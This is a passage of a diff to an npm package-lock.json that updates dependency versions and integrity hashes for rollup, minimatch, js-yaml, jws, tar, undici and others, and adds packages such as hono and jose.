- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.44.0.tgz",
- "integrity": "sha512-PQUobbhLTQT5yz/SPg116VJBgz+XOtXt8D1ck+sfJJhuEsMj2jSej5yTdp8CvWBSceu+WW+ibVL6dm0ptG5fcA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
+ "integrity": "sha512-2UdiwS/9cTAx7qIUZB/fWtToJwvt0Vbo0zmnYt7ED35KPg13Q0ym1g442THLC7VyI6JfYTP4PiSOWyoMdV2/xg==",
"cpu": [
"x64"
],
@@ -3489,10 +3617,38 @@
"linux"
]
},
+ "node_modules/@rollup/rollup-openbsd-x64": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.59.0.tgz",
+ "integrity": "sha512-M3bLRAVk6GOwFlPTIxVBSYKUaqfLrn8l0psKinkCFxl4lQvOSz8ZrKDz2gxcBwHFpci0B6rttydI4IpS4IS/jQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ]
+ },
+ "node_modules/@rollup/rollup-openharmony-arm64": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.59.0.tgz",
+ "integrity": "sha512-tt9KBJqaqp5i5HUZzoafHZX8b5Q2Fe7UjYERADll83O4fGqJ49O1FsL6LpdzVFQcpwvnyd0i+K/VSwu/o/nWlA==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openharmony"
+ ]
+ },
"node_modules/@rollup/rollup-win32-arm64-msvc": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.44.0.tgz",
- "integrity": "sha512-M0CpcHf8TWn+4oTxJfh7LQuTuaYeXGbk0eageVjQCKzYLsajWS/lFC94qlRqOlyC2KvRT90ZrfXULYmukeIy7w==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.59.0.tgz",
+ "integrity": "sha512-V5B6mG7OrGTwnxaNUzZTDTjDS7F75PO1ae6MJYdiMu60sq0CqN5CVeVsbhPxalupvTX8gXVSU9gq+Rx1/hvu6A==",
"cpu": [
"arm64"
],
@@ -3504,9 +3660,9 @@
]
},
"node_modules/@rollup/rollup-win32-ia32-msvc": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.44.0.tgz",
- "integrity": "sha512-3XJ0NQtMAXTWFW8FqZKcw3gOQwBtVWP/u8TpHP3CRPXD7Pd6s8lLdH3sHWh8vqKCyyiI8xW5ltJScQmBU9j7WA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.59.0.tgz",
+ "integrity": "sha512-UKFMHPuM9R0iBegwzKF4y0C4J9u8C6MEJgFuXTBerMk7EJ92GFVFYBfOZaSGLu6COf7FxpQNqhNS4c4icUPqxA==",
"cpu": [
"ia32"
],
@@ -3517,10 +3673,24 @@
"win32"
]
},
+ "node_modules/@rollup/rollup-win32-x64-gnu": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.59.0.tgz",
+ "integrity": "sha512-laBkYlSS1n2L8fSo1thDNGrCTQMmxjYY5G0WFWjFFYZkKPjsMBsgJfGf4TLxXrF6RyhI60L8TMOjBMvXiTcxeA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ]
+ },
"node_modules/@rollup/rollup-win32-x64-msvc": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.44.0.tgz",
- "integrity": "sha512-Q2Mgwt+D8hd5FIPUuPDsvPR7Bguza6yTkJxspDGkZj7tBRn2y4KSWYuIXpftFSjBra76TbKerCV7rgFPQrn+wQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.59.0.tgz",
+ "integrity": "sha512-2HRCml6OztYXyJXAvdDXPKcawukWY2GpR5/nxKp4iBgiO3wcoEGkAaqctIbZcNB6KlUQBIqt8VYkNSj2397EfA==",
"cpu": [
"x64"
],
@@ -3906,9 +4076,9 @@
"license": "MIT"
},
"node_modules/@textlint/linter-formatter/node_modules/js-yaml": {
- "version": "3.14.1",
- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+ "version": "3.14.2",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz",
+ "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -4755,13 +4925,13 @@
}
},
"node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
"dev": true,
"license": "ISC",
"dependencies": {
- "brace-expansion": "^2.0.1"
+ "brace-expansion": "^2.0.2"
},
"engines": {
"node": ">=16 || 14 >=14.17"
@@ -5191,6 +5361,29 @@
"win32"
]
},
+ "node_modules/@vscode/vsce/node_modules/balanced-match": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz",
+ "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
+ "node_modules/@vscode/vsce/node_modules/brace-expansion": {
+ "version": "5.0.4",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.4.tgz",
+ "integrity": "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "balanced-match": "^4.0.2"
+ },
+ "engines": {
+ "node": "18 || 20 || >=22"
+ }
+ },
"node_modules/@vscode/vsce/node_modules/glob": {
"version": "11.0.3",
"resolved": "https://registry.npmjs.org/glob/-/glob-11.0.3.tgz",
@@ -5216,16 +5409,16 @@
}
},
"node_modules/@vscode/vsce/node_modules/glob/node_modules/minimatch": {
- "version": "10.0.3",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.0.3.tgz",
- "integrity": "sha512-IPZ167aShDZZUMdRk66cyQAW3qr0WzbHkPdMYa8bzZhlHhO3jALbKdxcaak7W9FfT2rZNpQuUu4Od7ILEpXSaw==",
+ "version": "10.2.4",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.4.tgz",
+ "integrity": "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==",
"dev": true,
- "license": "ISC",
+ "license": "BlueOak-1.0.0",
"dependencies": {
- "@isaacs/brace-expansion": "^5.0.0"
+ "brace-expansion": "^5.0.2"
},
"engines": {
- "node": "20 || >=22"
+ "node": "18 || 20 || >=22"
},
"funding": {
"url": "https://github.com/sponsors/isaacs"
@@ -5407,6 +5600,7 @@
"version": "6.12.6",
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
"integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+ "dev": true,
"license": "MIT",
"dependencies": {
"fast-deep-equal": "^3.1.1",
@@ -7534,9 +7728,9 @@
}
},
"node_modules/diff": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz",
- "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==",
+ "version": "8.0.3",
+ "resolved": "https://registry.npmjs.org/diff/-/diff-8.0.3.tgz",
+ "integrity": "sha512-qejHi7bcSD4hQAZE0tNAawRK1ZtafHDmMTMkrrIGgSLl7hTnQHmKCeB45xAcbfTqK2zowkM3j3bHt/4b/ARbYQ==",
"license": "BSD-3-Clause",
"engines": {
"node": ">=0.3.1"
@@ -8645,10 +8839,13 @@
}
},
"node_modules/express-rate-limit": {
- "version": "7.5.1",
- "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-7.5.1.tgz",
- "integrity": "sha512-7iN8iPMDzOMHPUYllBEsQdWVB6fPDMPqwjBaFrgr4Jgr/+okjvzAy+UHlYYL/Vs0OsOrMkwS6PJDkFlJwoxUnw==",
+ "version": "8.2.1",
+ "resolved": "https://registry.npmjs.org/express-rate-limit/-/express-rate-limit-8.2.1.tgz",
+ "integrity": "sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g==",
"license": "MIT",
+ "dependencies": {
+ "ip-address": "10.0.1"
+ },
"engines": {
"node": ">= 16"
},
@@ -8794,6 +8991,7 @@
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
"integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",
+ "dev": true,
"license": "MIT"
},
"node_modules/fast-levenshtein": {
@@ -9376,9 +9574,10 @@
"optional": true
},
"node_modules/glob": {
- "version": "10.4.5",
- "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz",
- "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==",
+ "version": "10.5.0",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz",
+ "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==",
+ "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me",
"license": "ISC",
"dependencies": {
"foreground-child": "^3.1.0",
@@ -9435,12 +9634,12 @@
}
},
"node_modules/glob/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
"license": "ISC",
"dependencies": {
- "brace-expansion": "^2.0.1"
+ "brace-expansion": "^2.0.2"
},
"engines": {
"node": ">=16 || 14 >=14.17"
@@ -9870,6 +10069,15 @@
"node": ">=12.0.0"
}
},
+ "node_modules/hono": {
+ "version": "4.12.3",
+ "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.3.tgz",
+ "integrity": "sha512-SFsVSjp8sj5UumXOOFlkZOG6XS9SJDKw0TbwFeV+AJ8xlST8kxK5Z/5EYa111UY8732lK2S/xB653ceuaoGwpg==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=16.9.0"
+ }
+ },
"node_modules/hosted-git-info": {
"version": "7.0.2",
"resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-7.0.2.tgz",
@@ -10392,6 +10600,15 @@
"node": ">= 0.4"
}
},
+ "node_modules/ip-address": {
+ "version": "10.0.1",
+ "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.0.1.tgz",
+ "integrity": "sha512-NWv9YLW4PoW2B7xtzaS3NCot75m6nK7Icdv0o3lfMceJVRfSoQwqD4wEH5rLwoKJwUiZ/rfpiVBhnaF0FK4HoA==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 12"
+ }
+ },
"node_modules/ipaddr.js": {
"version": "1.9.1",
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
@@ -11106,6 +11323,15 @@
"@pkgjs/parseargs": "^0.11.0"
}
},
+ "node_modules/jose": {
+ "version": "6.1.3",
+ "resolved": "https://registry.npmjs.org/jose/-/jose-6.1.3.tgz",
+ "integrity": "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/panva"
+ }
+ },
"node_modules/js-tokens": {
"version": "9.0.1",
"resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-9.0.1.tgz",
@@ -11114,9 +11340,9 @@
"license": "MIT"
},
"node_modules/js-yaml": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
- "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+ "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -11214,8 +11440,15 @@
"version": "0.4.1",
"resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
"integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+ "dev": true,
"license": "MIT"
},
+ "node_modules/json-schema-typed": {
+ "version": "8.0.2",
+ "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",
+ "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==",
+ "license": "BSD-2-Clause"
+ },
"node_modules/json-stable-stringify-without-jsonify": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
@@ -11300,13 +11533,13 @@
}
},
"node_modules/jsonwebtoken/node_modules/jws": {
- "version": "3.2.2",
- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz",
- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==",
+ "version": "3.2.3",
+ "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.3.tgz",
+ "integrity": "sha512-byiJ0FLRdLdSVSReO/U4E7RoEyOCKnEnEPMjq3HxWtvzLsV08/i5RQKsFVNkCldrCaPr2vDNAOMsfs8T/Hze7g==",
"dev": true,
"license": "MIT",
"dependencies": {
- "jwa": "^1.4.1",
+ "jwa": "^1.4.2",
"safe-buffer": "^5.0.1"
}
},
@@ -11338,12 +11571,12 @@
}
},
"node_modules/jws": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.0.tgz",
- "integrity": "sha512-KDncfTmOZoOMTFG4mBlG0qUIOlc03fmzH+ru6RgYVZhPkyiy/92Owlt/8UEN+a4TXR1FQetfIpJE8ApdvdVxTg==",
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.1.tgz",
+ "integrity": "sha512-EKI/M/yqPncGUUh44xz0PxSidXFr/+r0pA70+gIYhjv+et7yxM+s29Y+VGDkovRofQem0fs7Uvf4+YmAdyRduA==",
"license": "MIT",
"dependencies": {
- "jwa": "^2.0.0",
+ "jwa": "^2.0.1",
"safe-buffer": "^5.0.1"
}
},
@@ -12096,18 +12329,22 @@
}
},
"node_modules/mime-types": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.1.tgz",
- "integrity": "sha512-xRc4oEhT6eaBpU1XF7AjpOFD+xQmXNB5OVKwp4tqCuBpHLS/ZbBDrc07mYTDqVMg6PfxUjjNp85O6Cd2Z/5HWA==",
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-3.0.2.tgz",
+ "integrity": "sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==",
"license": "MIT",
"dependencies": {
"mime-db": "^1.54.0"
},
"engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/mimic-fn": {
+ "node": ">=18"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/mimic-fn": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
"integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
@@ -12142,9 +12379,9 @@
}
},
"node_modules/minimatch": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
- "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+ "version": "3.1.5",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+ "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
"dev": true,
"license": "ISC",
"dependencies": {
@@ -13729,6 +13966,7 @@
"version": "2.3.1",
"resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
"integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+ "dev": true,
"license": "MIT",
"engines": {
"node": ">=6"
@@ -13824,18 +14062,54 @@
}
},
"node_modules/raw-body": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.0.tgz",
- "integrity": "sha512-RmkhL8CAyCRPXCE28MMH0z2PNWQBNk2Q09ZdxM9IOOXwxwZbN+qbWaatPkdkWIKL2ZVDImrN/pK5HTRz2PcS4g==",
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz",
+ "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==",
"license": "MIT",
"dependencies": {
- "bytes": "3.1.2",
- "http-errors": "2.0.0",
- "iconv-lite": "0.6.3",
- "unpipe": "1.0.0"
+ "bytes": "~3.1.2",
+ "http-errors": "~2.0.1",
+ "iconv-lite": "~0.7.0",
+ "unpipe": "~1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/raw-body/node_modules/http-errors": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz",
+ "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==",
+ "license": "MIT",
+ "dependencies": {
+ "depd": "~2.0.0",
+ "inherits": "~2.0.4",
+ "setprototypeof": "~1.2.0",
+ "statuses": "~2.0.2",
+ "toidentifier": "~1.0.1"
},
"engines": {
"node": ">= 0.8"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
+ }
+ },
+ "node_modules/raw-body/node_modules/iconv-lite": {
+ "version": "0.7.2",
+ "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.7.2.tgz",
+ "integrity": "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw==",
+ "license": "MIT",
+ "dependencies": {
+ "safer-buffer": ">= 2.1.2 < 3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/express"
}
},
"node_modules/rc": {
@@ -14099,9 +14373,9 @@
}
},
"node_modules/readdir-glob/node_modules/minimatch": {
- "version": "5.1.6",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
- "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
+ "version": "5.1.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz",
+ "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==",
"dev": true,
"license": "ISC",
"dependencies": {
@@ -14365,9 +14639,9 @@
"license": "MIT"
},
"node_modules/rollup": {
- "version": "4.44.0",
- "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.44.0.tgz",
- "integrity": "sha512-qHcdEzLCiktQIfwBq420pn2dP+30uzqYxv9ETm91wdt2R9AFcWfjNAmje4NWlnCIQ5RMTzVf0ZyisOKqHR6RwA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
+ "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -14381,26 +14655,31 @@
"npm": ">=8.0.0"
},
"optionalDependencies": {
- "@rollup/rollup-android-arm-eabi": "4.44.0",
- "@rollup/rollup-android-arm64": "4.44.0",
- "@rollup/rollup-darwin-arm64": "4.44.0",
- "@rollup/rollup-darwin-x64": "4.44.0",
- "@rollup/rollup-freebsd-arm64": "4.44.0",
- "@rollup/rollup-freebsd-x64": "4.44.0",
- "@rollup/rollup-linux-arm-gnueabihf": "4.44.0",
- "@rollup/rollup-linux-arm-musleabihf": "4.44.0",
- "@rollup/rollup-linux-arm64-gnu": "4.44.0",
- "@rollup/rollup-linux-arm64-musl": "4.44.0",
- "@rollup/rollup-linux-loongarch64-gnu": "4.44.0",
- "@rollup/rollup-linux-powerpc64le-gnu": "4.44.0",
- "@rollup/rollup-linux-riscv64-gnu": "4.44.0",
- "@rollup/rollup-linux-riscv64-musl": "4.44.0",
- "@rollup/rollup-linux-s390x-gnu": "4.44.0",
- "@rollup/rollup-linux-x64-gnu": "4.44.0",
- "@rollup/rollup-linux-x64-musl": "4.44.0",
- "@rollup/rollup-win32-arm64-msvc": "4.44.0",
- "@rollup/rollup-win32-ia32-msvc": "4.44.0",
- "@rollup/rollup-win32-x64-msvc": "4.44.0",
+ "@rollup/rollup-android-arm-eabi": "4.59.0",
+ "@rollup/rollup-android-arm64": "4.59.0",
+ "@rollup/rollup-darwin-arm64": "4.59.0",
+ "@rollup/rollup-darwin-x64": "4.59.0",
+ "@rollup/rollup-freebsd-arm64": "4.59.0",
+ "@rollup/rollup-freebsd-x64": "4.59.0",
+ "@rollup/rollup-linux-arm-gnueabihf": "4.59.0",
+ "@rollup/rollup-linux-arm-musleabihf": "4.59.0",
+ "@rollup/rollup-linux-arm64-gnu": "4.59.0",
+ "@rollup/rollup-linux-arm64-musl": "4.59.0",
+ "@rollup/rollup-linux-loong64-gnu": "4.59.0",
+ "@rollup/rollup-linux-loong64-musl": "4.59.0",
+ "@rollup/rollup-linux-ppc64-gnu": "4.59.0",
+ "@rollup/rollup-linux-ppc64-musl": "4.59.0",
+ "@rollup/rollup-linux-riscv64-gnu": "4.59.0",
+ "@rollup/rollup-linux-riscv64-musl": "4.59.0",
+ "@rollup/rollup-linux-s390x-gnu": "4.59.0",
+ "@rollup/rollup-linux-x64-gnu": "4.59.0",
+ "@rollup/rollup-linux-x64-musl": "4.59.0",
+ "@rollup/rollup-openbsd-x64": "4.59.0",
+ "@rollup/rollup-openharmony-arm64": "4.59.0",
+ "@rollup/rollup-win32-arm64-msvc": "4.59.0",
+ "@rollup/rollup-win32-ia32-msvc": "4.59.0",
+ "@rollup/rollup-win32-x64-gnu": "4.59.0",
+ "@rollup/rollup-win32-x64-msvc": "4.59.0",
"fsevents": "~2.3.2"
}
},
@@ -15718,10 +15997,10 @@
}
},
"node_modules/tar": {
- "version": "7.5.1",
- "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.1.tgz",
- "integrity": "sha512-nlGpxf+hv0v7GkWBK2V9spgactGOp0qvfWRxUMjqHyzrt3SgwE48DIv/FhqPHJYLHpgW1opq3nERbz5Anq7n1g==",
- "license": "ISC",
+ "version": "7.5.8",
+ "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.8.tgz",
+ "integrity": "sha512-SYkBtK99u0yXa+IWL0JRzzcl7RxNpvX/U08Z+8DKnysfno7M+uExnTZH8K+VGgShf2qFPKtbNr9QBl8n7WBP6Q==",
+ "license": "BlueOak-1.0.0",
"dependencies": {
"@isaacs/fs-minipass": "^4.0.0",
"chownr": "^3.0.0",
@@ -15871,13 +16150,13 @@
}
},
"node_modules/test-exclude/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
"dev": true,
"license": "ISC",
"dependencies": {
- "brace-expansion": "^2.0.1"
+ "brace-expansion": "^2.0.2"
},
"engines": {
"node": ">=16 || 14 >=14.17"
@@ -16442,9 +16721,9 @@
"license": "MIT"
},
"node_modules/undici": {
- "version": "7.15.0",
- "resolved": "https://registry.npmjs.org/undici/-/undici-7.15.0.tgz",
- "integrity": "sha512-7oZJCPvvMvTd0OlqWsIxTuItTpJBpU1tcbVl24FMn3xt3+VSunwUasmfPJRE57oNO1KsZ4PgA1xTdAX4hq8NyQ==",
+ "version": "7.18.2",
+ "resolved": "https://registry.npmjs.org/undici/-/undici-7.18.2.tgz",
+ "integrity": "sha512-y+8YjDFzWdQlSE9N5nzKMT3g4a5UBX1HKowfdXh0uvAnTaqqwqB92Jt4UXBAeKekDs5IaDKyJFR4X1gYVCgXcw==",
"license": "MIT",
"engines": {
"node": ">=20.18.1"
@@ -16618,6 +16897,7 @@
"version": "4.4.1",
"resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
